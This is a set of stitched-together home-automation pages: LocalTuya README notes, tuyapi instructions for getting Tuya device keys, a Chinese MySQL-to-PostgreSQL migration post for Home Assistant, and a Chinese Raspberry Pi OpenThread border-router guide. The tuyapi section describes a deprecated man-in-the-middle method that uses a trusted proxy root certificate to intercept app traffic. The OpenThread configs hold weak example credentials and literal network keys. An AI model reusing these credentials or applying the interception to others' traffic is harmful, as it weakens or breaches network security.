[![image](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/2-device.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/2-device.png)
Then, it's time to add the entities: this step will take place several times. First, select the entity type from the drop-down menu to set it up. After you have defined all the needed entities, leave the "Do not add more entities" checkbox checked: this will complete the procedure.
[![entity_type](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/3-entity_type.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/3-entity_type.png)
For each entity, the associated DP has to be selected. All the options requiring to select a DP will provide a drop-down menu showing all the available DPs found on the device (with their current status!!) for easy identification.
**Note: If your device requires an LocalTuya to send an initialisation value to the entity for it to work, this can be configured (in supported entities) through the 'Passive entity' option. Optionally you can specify the initialisation value to be sent**
Each entity type has different options to be configured. Here is an example for the "switch" entity:
[![entity](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/4-entity.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/4-entity.png)
Once you configure the entities, the procedure is complete. You can now associate the device with an Area in Home Assistant
[![success](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/5-success.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/5-success.png)
## Migration from LocalTuya v.3.x.x
[](https://github.com/rospogrigio/localtuya#migration-from-localtuya-v3xx)
If you upgrade LocalTuya from v3.x.x or older, the config entry will automatically be migrated to the new setup. Everything should work as it did before the upgrade, apart from the fact that in the Integration tab you will see just one LocalTuya integration (showing the number of devices and entities configured) instead of several Integrations grouped within the LocalTuya Box. This will happen both if the old configuration was done using YAML files and with the config flow. Once migrated, you can just input your Tuya IoT account credentials to enable the support for the Cloud API (and benefit from the local\_key retrieval and auto-update): see [Configuration menu](https://github.com/rospogrigio/localtuya#integration-configuration-menu).
If you had configured LocalTuya using YAML files, you can delete all its references from within the YAML files because they will no longer be considered so they might bring confusion (only the logger configuration part needs to be kept, of course, see [Debugging](https://github.com/rospogrigio/localtuya#debugging) ).
## Energy monitoring values
[](https://github.com/rospogrigio/localtuya#energy-monitoring-values)
You can obtain Energy monitoring (voltage, current) in two different ways:
1. Creating individual sensors, each one with the desired name. Note: Voltage and Consumption usually include the first decimal. You will need to scale the parament by 0.1 to get the correct values.
2. Access the voltage/current/current\_consumption attributes of a switch, and define template sensors Note: these values are already divided by 10 for Voltage and Consumption
3. On some devices, you may find that the energy values are not updating frequently enough by default. If so, set the scan interval (see above) to an appropriate value. Settings below 10 seconds may cause stability issues, 30 seconds is recommended.
sensor:
- platform: template
sensors:
tuya-sw01\_voltage:
value\_template: \>-
{{ states.switch.sw01.attributes.voltage }}
unit\_of\_measurement: 'V'
tuya-sw01\_current:
value\_template: \>-
{{ states.switch.sw01.attributes.current }}
unit\_of\_measurement: 'mA'
tuya-sw01\_current\_consumption:
value\_template: \>-
{{ states.switch.sw01.attributes.current\_consumption }}
unit\_of\_measurement: 'W'
## Climates
[](https://github.com/rospogrigio/localtuya#climates)
There are a multitude of Tuya based climates out there, both heaters, thermostats and ACs. The all seems to be integrated in different ways and it's hard to find a common DP mapping. Below are a table of DP to product mapping which are currently seen working. Use it as a guide for your own mapping and please contribute to the list if you have the possibility.
| DP | Moes BHT 002 | Qlima WMS S + SC52 (AB;AF) | Avatto |
| --- | --- | --- | --- |
| 1 | ID: On/Off
{true, false} | ID: On/Off
{true, false} | ID: On/Off
{true, false} |
| 2 | Target temperature
Integer, scaling: 0.5 | Target temperature
Integer, scaling 1 | Target temperature
Integer, scaling 1 |
| 3 | Current temperature
Integer, scaling: 0.5 | Current temperature
Integer, scaling: 1 | Current temperature
Integer, scaling: 1 |
| 4 | Mode
{0, 1} | Mode
{"hot", "wind", "wet", "cold", "auto"} | ? |
| 5 | Eco mode
? | Fan mode
{"strong", "high", "middle", "low", "auto"} | ? |
| 15 | Not supported | Supported, unknown
{true, false} | ? |
| 19 | Not supported | Temperature unit
{"c", "f"} | ? |
| 23 | Not supported | Supported, unknown
Integer, eg. 68 | ? |
| 24 | Not supported | Supported, unknown
Integer, eg. 64 | ? |
| 101 | Not supported | Outdoor temperature
Integer. Scaling: 1 | ? |
| 102 | Temperature of external sensor
Integer, scaling: 0.5 | Supported, unknown
Integer, eg. 34 | ? |
| 104 | Supported, unknown
{true, false(?)} | Not supported | ? |
[Moes BHT 002](https://community.home-assistant.io/t/moes-bht-002-thermostat-local-control-tuya-based/151953/47) [Avatto thermostat](https://pl.aliexpress.com/item/1005001605377377.html?gatewayAdapt=glo2pol)
## Debugging
[](https://github.com/rospogrigio/localtuya#debugging)
Whenever you write a bug report, it helps tremendously if you include debug logs directly (otherwise we will just ask for them and it will take longer). So please enable debug logs like this and include them in your issue:
logger:
default: warning
logs:
custom\_components.localtuya: debug
custom\_components.localtuya.pytuya: debug
Then, edit the device that is showing problems and check the "Enable debugging for this device" button.
## Notes:
[](https://github.com/rospogrigio/localtuya#notes)
- Do not declare anything as "tuya", such as by initiating a "switch.tuya". Using "tuya" launches Home Assistant's built-in, cloud-based Tuya integration in lieu of localtuya.
## To-do list:
[](https://github.com/rospogrigio/localtuya#to-do-list)
- Create a (good and precise) sensor (counter) for Energy (kWh) -not just Power, but based on it-. Ideas: Use: [https://www.home-assistant.io/integrations/integration/](https://www.home-assistant.io/integrations/integration/) and [https://www.home-assistant.io/integrations/utility\_meter/](https://www.home-assistant.io/integrations/utility_meter/)
- Everything listed in [#15](https://github.com/rospogrigio/localtuya/issues/15)
## Thanks to:
[](https://github.com/rospogrigio/localtuya#thanks-to)
NameLessJedi [https://github.com/NameLessJedi/localtuya-homeassistant](https://github.com/NameLessJedi/localtuya-homeassistant) and mileperhour [https://github.com/mileperhour/localtuya-homeassistant](https://github.com/mileperhour/localtuya-homeassistant) being the major sources of inspiration, and whose code for switches is substantially unchanged.
TradeFace, for being the only one to provide the correct code for communication with the cover (in particular, the 0x0d command for the status instead of the 0x0a, and related needs such as double reply to be received): [https://github.com/TradeFace/tuya/](https://github.com/TradeFace/tuya/)
sean6541, for the working (standard) Python Handler for Tuya devices.
jasonacox, for the TinyTuya project from where I could import the code to communicate with devices using protocol 3.4.
postlund, for the ideas, for coding 95% of the refactoring and boosting the quality of this repo to levels hard to imagine (by me, at least) and teaching me A LOT of how things work in Home Assistant.
[![Buy Me A Coffee](https://camo.githubusercontent.com/4c31625833b2598a9acf63a0a82416a0621a93d5d4f5aa285eef92593e5ebc42/68747470733a2f2f626d632d63646e2e6e7963332e6469676974616c6f6365616e7370616365732e636f6d2f424d432d627574746f6e2d696d616765732f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67)](https://www.buymeacoffee.com/rospogrigio) [![PayPal Logo](https://camo.githubusercontent.com/746ba3ca3f5a148074a4d329952463a135cb31920ef0356087b714a7d4c6aba5/68747470733a2f2f7777772e70617970616c6f626a656374732e636f6d2f7765627374617469632f6d6b74672f6c6f676f2f70705f63635f6d61726b5f33377832332e6a7067)](https://paypal.me/rospogrigio)
@@ -0,0 +1,70 @@
---
page-title: "tuyapi/docs/SETUP.md at master · codetheweb/tuyapi · GitHub"
url: https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md
date: "2024-12-15 22:30:00"
---
**YMMV**: Tuya likes to change their website frequently and the below instructions may be slightly out of date. If something looks wrong, please open a new issue.
**Note**: both methods below require that your device works with the official Tuya Smart app. If your device only works with one specific app, it almost certainly won't work with TuyAPI.
All methods below require you to install the CLI tool before proceeding.
Install it by running `npm i @tuyapi/cli -g`. If it returns an error, you may need to prefix the command with `sudo`. (Tip: using `sudo` to install global packages is not considered best practice. See [this NPM article](https://docs.npmjs.com/getting-started/fixing-npm-permissions) for some help.)
## Listing Tuya devices from the **Tuya Smart** or **Smart Life** apps
[](https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md#listing-tuya-devices-from-the-tuya-smart-or-smart-life-apps)
This method is fast and easy. If you're having trouble manually linking your device with the below method, we recommend you try this. All devices that you want to use **must** be registered in either the Tuya Smart app or the Smart Life app.
1. Follow steps 1 through 3 from the "Linking a Tuya device with Smart Link" method below.
2. Go to Cloud -> Development and click the project you created earlier. Then click the "Devices" tab. Click the "Link Tuya App account" tab, and select the right data center in the upper right dropdown (eg Western America).
3. Click "Add App Account" and scan the QR code from your smart phone/tablet app by going to the 'Me' tab in the app, and tapping a QR code / Scan button in the upper right. Your account will now be linked.
4. On the command line, run `tuya-cli wizard`. It will prompt you for required information, and will then list out all your device names, IDs, and keys for use with TuyAPI. Copy and save this information to a safe place for later reference.
## Linking a Tuya device with Smart Link
[](https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md#linking-a-tuya-device-with-smart-link)
This method requires you to create a developer account on [iot.tuya.com](https://iot.tuya.com/). It doesn't matter if the device(s) are currently registered in the Tuya Smart app or Smart Life app or not.
1. Create a new account on [iot.tuya.com](https://iot.tuya.com/) and make sure you are logged in. **Select United States as your country when signing up.** This seems to skip a [required verify step](https://github.com/codetheweb/tuyapi/issues/425).
2. Go to Cloud -> Development in the left nav drawer. If you haven't already, you will need to "purchase" the Trial Plan before you can proceed with this step. You will not have to add any form of payment, and the purchase is of no charge. Once in the Projects tab, click "Create". **Make sure you select "Smart Home" for both the "Industry" field and the development method.** Select your country of use in the for the location access option, and feel free to skip the services option in the next window. After you've created a new project, click into it. The "Access ID/Client ID" and "Access Secret/Client Secret" are the API Key and API Secret values need in step 7.
3. Go to Cloud -> Development -> "MyProject" -> Service API -> "Go to authorize". "Select API" > click subscribe on "IoT Core", "Authorization", and "Smart Home Scene Linkage" in the dropdown. Click subscribe again on every service (also check your PopUp blocker). Click "basic edition" and "buy now" (basic edition is free). Check if the 3 services are listed under Cloud -> Projects -> "MyProject" -> API. If not, click "Add Authorization" and select them.
4. Go to App -> App SDK -> Development in the nav drawer. Click "Create" and enter whatever you want for the package names and Channel ID (for the Android package name, you must enter a string beginning with `com.`). Take note of the **Channel ID** you entered. This is equivalent to the `schema` value needed in step 7. Ignore any app key and app secret values you see in this section as they are not used.
5. Go to Cloud -> Development and click the project you created earlier. Then click "Link Device". Click the "Link devices by Apps" tab, and click "Add Apps". Check the app you just created and click "Ok".
6. Put your devices into linking mode. This process is specific to each type of device, find instructions in the Tuya Smart app. Usually this consists of turning it on and off several times or holding down a button.
7. On the command line, run `tuya-cli link --api-key <your api key> --api-secret <your api secret> --schema <your schema/Channel ID> --ssid <your WiFi name> --password <your WiFi password> --region us`. For the region parameter, choose the two-letter country code from `us`, `eu`, and `cn` that is geographically closest to you.
8. Your devices should link in under a minute and the parameters required to control them will be printed out to the console. If you experience problems, first make sure any smart phone/tablet app that you use with your devices is completely closed and not attempting to communicate with any of the devices.
### Troubleshooting
[](https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md#troubleshooting)
**`Error: sign invalid`**
This means that one of the parameters you're passing in (`api-key`, `api-secret`, `schema`) is incorrect. Double check the values.
**`Device(s) failed to be registered! Error: Timed out waiting for devices to connect.`**
This can happen for a number of reasons. It means that the device never authenticated against Tuya's API (although it *does not* necessarily mean that the device could not connect to WiFi). Try the following:
- Making sure that your computer is connected to your network via WiFi **only** (unplug ethernet if necessary)
- Making sure that your network is 2.4 Ghz (devices will also connect if you have both 2.4 Ghz and 5 Ghz bands under the same SSID)
- Using a different OS
- Removing special characters from your network's SSID
## **DEPRECATED** - Linking a Tuya Device with MITM
[](https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md#deprecated---linking-a-tuya-device-with-mitm)
This method is deprecated because Tuya-branded apps have started to encrypt their traffic in an effort to prevent MITM attacks like this one. If this method doesn't work, try the above.
1. Add any devices you want to use with `tuyapi` to the Tuya Smart app.
2. Install AnyProxy by running `npm i anyproxy -g`. Then run `anyproxy-ca`.
3. Run `tuya-cli list-app`. It will print out a QR code; scan it with your phone and install the root certificate. After installation, [trust the installed root certificate](https://support.apple.com/en-nz/HT204477).
4. [Configure the proxy](http://www.iphonehacks.com/2017/02/how-to-configure-use-proxy-iphone-ipad.html) on your phone with the parameters provided in the console.
5. Enable full trust of certificate by going to Settings > General > About > Certificate Trust Settings
6. Open Tuya Smart and refresh the list of devices by "pulling down".
7. A list of ID and key pairs should appear in the console.
8. It's recommended to untrust the root certificate after you're done for security purposes.
@@ -0,0 +1,37 @@
---
page-title: "数据库从MySQL迁移到PostgreSQL - 『HomeAssistant』综合讨论区 - 『瀚思彼岸』» 智能家居技术论坛 - Powered by Discuz!"
url: https://bbs.hassbian.com/thread-24271-1-1.html
date: "2024-12-20 13:04:53"
---
*本帖最后由 ming88208 于 2024-2-22 13:59 编辑*
对于HA而言,PostgreSQL也许是更好的数据库,迁移后整库备份的时间从10分钟降低到10秒以内。方法:
1. 安装PostgreSQL数据库,并新建homeassistant用户和homeassistant表。
*复制代码* *隐藏代码*`docker run --name pg --restart=always -v /home/dbbackup:/home/dbbackup -e POSTGRES_PASSWORD=你的密码 -p 5432:5432 -v /home/docker/postgresql:/var/lib/postgresql/data -d postgres docker exec -it pg bash # -------- su postgres createuser homeassistant -P # 数据库密码 createdb -O homeassistant homeassistant`
2. 在ha的配置文件中切换到pgsql。
*复制代码* *隐藏代码*`recorder:   # db_url: mysql://root:数据库密码@host.docker.internal:3306/homeassistant?charset=utf8mb4   db_url: postgresql://homeassistant:数据库密码@host.docker.internal:5432/homeassistant`
3. 在docker中重启ha进程,此时ha载入会初始化pgsql数据库。但我们不希望其初始化后进行数据写入,污染id设置,因此需要利用Navicat,在数据库结构初始化完毕的瞬间立马停止ha进程,此时表结构已经就绪,但所有表均没有任何记录。
4. 准备`/home/docker/pgloader/pgload.load`文件。
*复制代码* *隐藏代码*`LOAD DATABASE FROM mysql://root:数据库密码@localhost:3306/homeassistant INTO pgsql://homeassistant:数据库密码@localhost:5432/homeassistant WITH data only, workers = 8, concurrency = 1 CAST type datetime to timestamp drop default drop not null using zero-dates-to-null ;`
5. 运行PGLOADER
`docker run -it --rm --name=pgloader --net=host -v /home/docker/pgloader:/loads dimitri/pgloader`
6. 执行`pgloader /pgloader/pgload.load`进行数据迁移。
7. 在PGSQL中运行以下SQL语句,设置自增ID。其中第一行的作用是查找所有序列,结果应该如注释中所示。
*复制代码* *隐藏代码*`SELECT c.relname FROM pg_class c WHERE c.relkind ='S'; /* event_types_event_type_id_seq state_attributes_attributes_id_seq event_data_data_id_seq states_meta_metadata_id_seq statistics_meta_id_seq events_event_id_seq recorder_runs_run_id_seq schema_changes_change_id_seq statistics_runs_run_id_seq states_state_id_seq statistics_id_seq statistics_short_term_id_seq */ SELECT setval('event_types_event_type_id_seq', MAX(event_type_id)) FROM event_types; SELECT setval('state_attributes_attributes_id_seq', MAX(attributes_id)) FROM state_attributes; SELECT setval('event_data_data_id_seq', MAX(data_id)) FROM event_data; SELECT setval('states_meta_metadata_id_seq', MAX(metadata_id)) FROM states_meta; SELECT setval('statistics_meta_id_seq', MAX(id)) FROM statistics_meta; SELECT setval('events_event_id_seq', MAX(event_id)) FROM events; SELECT setval('recorder_runs_run_id_seq', MAX(run_id)) FROM recorder_runs; SELECT setval('schema_changes_change_id_seq', MAX(change_id)) FROM schema_changes; SELECT setval('statistics_runs_run_id_seq', MAX(run_id)) FROM statistics_runs; SELECT setval('states_state_id_seq', MAX(state_id)) FROM states; SELECT setval('statistics_id_seq', MAX(id)) FROM statistics; SELECT setval('statistics_short_term_id_seq', MAX(id)) FROM statistics_short_term;`
8. 重新运行ha容器。可以发现迁移后实体的历史数据仍然存在。
9. (踩坑修复)第一次迁移时操作不当,在数据库写入数据后再进行自增ID修改,导致能源数据异常。重新建立了一个新的PGSQL数据库后,严格按照以上步骤执行不再出现异常问题。目前一切正常,没有发现BUG。
@@ -0,0 +1,344 @@
---
page-title: "树莓派 OpenThread 边界路由器配置 - YP.Lam"
url: https://yplam.com/IOT/openthread/raspberry-pi-openthread/
date: "2024-12-13 11:14:15"
---
## 树莓派 OpenThread 边界路由器配置[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#openthread "Permanent link")
OpenThread 边界路由器的作用是作为 Thread 网络与其他基于IP的网络(如WIFI、以太网)的桥梁。有了边界路由器的存在才让 Thread 网络中的设备成了跟手机、电脑等对等的一员(是的,基于IP就是那么自信)。
OpenThread 官方提供 Docker、 BeagleBone Black、Raspberry Pi 3B 的支持(代码中 OpenWRT 也是有支持的,只是可能还未正式稳定)。本文将尽量详细地记录 Raspberry Pi 3B 配置成边界路由器的过程。
## 树莓派基础配置[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#_1 "Permanent link")
第一步当然是下载镜像,并且写入到SD卡。官网地址:[https://www.raspberrypi.org/downloads/raspberry-pi-os/](https://www.raspberrypi.org/downloads/raspberry-pi-os/) 。Linux系统下可以直接用以下命令写入镜像:
```
# 注意:请根据真实情况选择磁盘,不然可能会导致你的数据丢失
sudo dd bs=4M if=2020-08-20-raspios-buster-armhf-lite.img of=/dev/mmcblk0 conv=fsync
```
### 启用wifi与ssh[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#wifissh "Permanent link")
使用headless的配置方式,不需要显示器与外接键盘。在SD卡的 boot 分区中创建一个空的 ssh 文件:
```
cd /run/media/yplam/boot
touch ssh
```
在刚刚那个 boot 分区新建一个 wpa\_supplicant.conf 文件,输入 WIFI 网络信息:
```
country=CN
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
ssid="NETWORK-NAME"
psk="NETWORK-PASSWORD"
}
```
插入SD卡上电启动,如果有mdns的话直接 :
```
ping raspberrypi.local
```
获取IP,如果没有则登录路由器把它找出来,然后ssh登录,用户名pi,密码 raspberry 。
### 基础软件安装[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#_2 "Permanent link")
```
sudo apt install git
```
## OTBR编译安装[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#otbr "Permanent link")
```
git clone https://github.com/openthread/ot-br-posix
cd ot-br-posix
./script/bootstrap
./script/setup
```
注意,可能需要改改 script/\_dns64 中关于 dns 服务器的配置(国内无法访问)
## RCP 配置[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#rcp "Permanent link")
编译 RCP 固件,如 NRF52840 可以使用以下编译选项:
```
cd /src/openthread/
./bootstrap
make -f examples/Makefile-nrf52840 BORDER_AGENT=1 BORDER_ROUTER=1 COMMISSIONER=1 UDP_FORWARD=1 USB=1 LINK_RAW=1 BOOTLOADER=USB
cd /src/openthread/output/nrf52840/bin
arm-none-eabi-objcopy -O ihex ot-rcp ot-rcp.hex
```
插入 RCP 到树莓派 USB 口,查看:
```
ls /dev/tty*
```
名称为 /dev/ttyACM\* 的设备即为 RCP;修改配置文件 /etc/default/otbr-agent
```
OTBR_AGENT_OPTS="-I wpan0 spinel+hdlc+uart:///dev/ttyACM0"
```
修改配置后重启系统,运行以下命令:
```
sudo systemctl status
```
如果安装正常,则可以看到相关服务正常运行:
```
avahi-daemon.service
otbr-agent.service
otbr-web.service
```
而运行下面命令可以看到OpenThread网络为 disabled 状态
```
sudo ot-ctl state
```
## AP模式配置[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#ap "Permanent link")
树莓派可以配置运行在 AP 模式,其他设备可以接入树莓派提供的网络来管理 OpenThread 网络。
安装以下软件:
```
sudo apt-get install hostapd dnsmasq tayga
```
- hostapd — 允许使用树莓派的WIFI允许在AP模式
- dnsmasq — 提供 DHCP 与 DNS 服务
- tayga — NAT64服务,提供外网 IPV4 地址到 IPV6 地址的转换
修改文件 /etc/dhcpcd.conf,末尾增加一行
```
denyinterfaces wlan0
```
新建文件 /etc/network/interfaces.d/wlan0
```
allow-hotplug wlan0
iface wlan0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
```
配置 /etc/hostapd/hostapd.conf,因为使用的是 PI3B+,支持5G网络,配置有所不同
```
# The Wi-Fi interface configured for static IPv4 addresses
interface=wlan0
# Use the 802.11 Netlink interface driver
driver=nl80211
# The user-defined name of the network
ssid=BorderRouter-AP
# Use the 5GHz band
hw_mode=a
# Use channel 6
channel=40
# Enable 802.11n
ieee80211n=1
# Enable WMM
wmm_enabled=1
require_ht=1
ht_capab=[HT40-][DSSS_CCK-40]
# Accept all MAC addresses
macaddr_acl=0
# Use WPA authentication
auth_algs=1
# Require clients to know the network name
ignore_broadcast_ssid=0
# Use WPA2
wpa=2
# Use a pre-shared key
wpa_key_mgmt=WPA-PSK
# The network passphrase
wpa_passphrase=12345678
# Use AES, instead of TKIP
rsn_pairwise=CCMP
```
修改 /etc/default/hostapd
```
DAEMON_CONF="/etc/hostapd/hostapd.conf"
```
```
sudo systemctl unmask hostapd
sudo systemctl start hostapd
```
修改 /etc/systemd/system/hostapd.service
```
[Unit]
Description=Hostapd IEEE 802.11 Access Point
After=sys-subsystem-net-devices-wlan0.device
BindsTo=sys-subsystem-net-devices-wlan0.device
[Service]
Type=forking
PIDFile=/var/run/hostapd.pid
ExecStart=/usr/sbin/hostapd -B /etc/hostapd/hostapd.conf -P /var/run/hostapd.pid
[Install]
WantedBy=multi-user.target
```
在 /etc/rc.local 的 exit 0 之前添加
```
sudo service hostapd start
```
重启树莓派,可以看到多了一个名叫 BorderRouter-AP 的 wifi 网络可以加入。
## 配置 dnsmasq[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#dnsmasq "Permanent link")
修改 /etc/dnsmasq.conf
```
# The Wi-Fi interface configured for static IPv4 addresses
interface=wlan0
# Explicitly specify the address to listen on
listen-address=192.168.1.2
# Bind to the interface to make sure we aren't sending things elsewhere
bind-interfaces
# Forward DNS requests to the Google DNS
server=119.29.29.29
# Don't forward short names
domain-needed
# Never forward addresses in non-routed address spaces
bogus-priv
# Assign IP addresses between 192.168.1.50 and 192.168.1.150 with a 12 hour lease time
dhcp-range=192.168.1.50,192.168.1.150,12h
```
修正 /lib/systemd/system/bind9.service 与 dnsmasq 的冲突
```
After=network.target dnsmasq.service
```
## 配置 tayga[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#tayga "Permanent link")
修改 /etc/tayga.conf 关于以下配置项
```
prefix 64:ff9b::/96
dynamic-pool 192.168.255.0/24
ipv6-addr 2001:db8:1::1
ipv4-addr 192.168.255.1
```
启用 tayga
```
sudo systemctl enable tayga
```
使能网络转发
```
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo sh -c "echo 1 > /proc/sys/net/ipv6/conf/all/forwarding"
```
为了重启后能生效,修改配置文件 /etc/sysctl.conf,更改对应项配置
使能 NAT44
```
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
使能 wlan0 与 eth0 之间的转发
```
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
```
保存iptables配置
```
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
```
在 /etc/rc.local 的 exit 前增加
```
iptables-restore < /etc/iptables.ipv4.nat
```
重启系统,查看各服务是否正常启动,譬如 ping -6 一个外网 IP
```
ping -6 64:ff9b::***
```
## 创建 OpenThread 网络[¶](https://yplam.com/IOT/openthread/raspberry-pi-openthread/#openthread_1 "Permanent link")
```
sudo ot-ctl panid 0xc80b
sudo ot-ctl extpanid f37fcf5bc5cbe195
sudo ot-ctl masterkey e35efdce91b5d2ad6ee96350c31e56d3
sudo ot-ctl pskc 7beafb2ea25f3f8ce244b1e92a79a623
sudo ot-ctl networkname MyOT
sudo ot-ctl channel 11
sudo ot-ctl ifconfig up
sudo ot-ctl thread start
sudo ot-ctl state
sudo ot-ctl prefix add fd11:22::/64 pasor
sudo ot-ctl netdata register
```
需要注意的是后面两行如果不运行,OpenThread网络中的设备将无法访问外网。
至此,OpenThread网络配置完成,可以通过 ping 外网 ip 进行测试(通过nat64)。